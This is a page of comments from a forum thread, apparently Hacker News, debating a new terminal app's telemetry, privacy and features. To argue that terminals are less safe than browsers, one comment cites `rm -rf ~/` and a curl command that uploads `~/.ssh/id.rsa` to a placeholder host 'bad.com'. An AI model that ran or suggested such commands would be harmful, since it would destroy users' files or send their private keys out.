681–690 of 757 posts
Wanted to give it a shot but got disappointed when I launched it and the following happened: - Outgoing request to googleapis.com - Outgoing request to segment.io - Outgoing request to sentry.io - Requires sign up (only via Github, mind you) I understand the first request is probably to get some dynamic configuration, even though I'd rather my terminal ship with static configuration. But then you have segment and sen…
Earlier quoted context omitted.
I doubt their compelling features will be in OSS terminals any time soon. I’ve wanted a terminal that has a decent multi line editor for years , and there’s nothing out there.
Vim supports multiline editing and I'd imagine emacs does as well. In bash/zsh, opens up $EDITOR so you can use whatever you're accustomed to anyhow. Most of these features are already available if one spends a bit of time configuring their terminal/shell.
Earlier quoted context omitted.
I use them from my linux workstation as a poor man's access to apple's universal clipboard. echo -n something | ssh my-mac pbcopy then I can paste on my phone.
This is... actually genius. I wonder if that would work with media too, specifying the input type or something, going to test that.
[1] https://stackoverflow.com/a/30578507/5094001Wanted to give it a shot but got disappointed when I launched it and the following happened: - Outgoing request to googleapis.com - Outgoing request to segment.io - Outgoing request to sentry.io - Requires sign up (only via Github, mind you) I understand the first request is probably to get some dynamic configuration, even though I'd rather my terminal ship with static configuration. But then you have segment and sen…
Earlier quoted context omitted.
> If the terminal can run programs connected to the internet, then the terminal has internet connectivity. Is this true? This sounds wrong to me but I don't know the inner workings of terminals. The terminal just executes programs and handles pipes it seems. A terminal can be completely walled from the internet, and when you execute something from it, say, curl, then curl has it's own memory space and access layer ou…
> The terminal just executes programs and handles pipes it seems. A terminal can be completely walled from the internet, and when you execute something from it, say, curl, then curl has it's own memory space and access layer outside the terminal, and just has it's stdio wired to the terminal. As I said in my comment, even if you "wall" the terminal off from the internet, if it can make system calls on behalf of the u…
Wanted to give it a shot but got disappointed when I launched it and the following happened: - Outgoing request to googleapis.com - Outgoing request to segment.io - Outgoing request to sentry.io - Requires sign up (only via Github, mind you) I understand the first request is probably to get some dynamic configuration, even though I'd rather my terminal ship with static configuration. But then you have segment and sen…
Just FYI, sentry is error capturing and reporting tool, not "telemetry". It could be potentially abused to collect "telemetry", but there are far better tools for that so it'd make little sense IMHO. I've used it extensively for error management in a previous job and it worked very well, correlating with env, release, etc. and it was great ( it was the self-hosted version, but still). Not affiliated in any way, just…
Earlier quoted context omitted.
Wanting to collect usage information and errors isn't evil-by-default. It's incomparably useful for troubleshooting and improving. Absolutely nothing works better, it's the best by a ridiculously large margin. But yeah, terminals are very sensitive environments, opt-in should be a default even at launch.
> Absolutely nothing works better, it's the best by a ridiculously large margin. Then why is the telemetry-encrusted modern Windows a usability fail, even compared to past versions of Windows which relied on extensive in-house user testing?
As evidence of this, I offer: the vast majority of all human behavior over literally all time.
Earlier quoted context omitted.
> I expect my terminal to be a much more secure environment than my web browser. Wat? Your terminal is 1000x less secure than your browser. Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com ` and that just 2 of 1000s. JS on your browser can do none of those. Maybe you meant to say you want apps running from the terminal to not phone home but nothing in the terminal…
That's security vs. safety. You're pointing out that a terminal allows the user to do perform actions that could be unsafe. These actions or JS in the browser are a security risk because they can perform actions without the user's awareness or consent.
the browser is also a place to run software. There, that software can not do anything to your system nor can it steal any data
It looks nice but I'd never use a shell that phone's home. Period. I mean the CLI has been one of the last parts of my system that I really still trust is working on my behalf only. This product made me rethink that assumption. As for capturing the output from a command line on the mac (and also on linux IIRC) just use pbcopy/pbpaste. My opinion: It's not worth giving your privacy away for features like this.
Do you use Windows? Have you ever opened its terminal? Congrats, you're using a terminal that you agreed can phone home with telemtry. See https://www.microsoft.com/en-us/p/windows-terminal/9n0dx20hk... and the link to the privacy policy for windows terminal http://go.microsoft.com/fwlink/?LinkID=521839 I suspect OSX is no different and has similar telemetry and privacy policy for its terminal.
Besides many on the pain points / motivations you mention, like "Developers work in teams, but terminals don’t support collaboration" just make me think that what you want to develop is a productivity and collaboration tool, but don't want to call it that.
I do enjoy someone is looking into the terminal but not this way...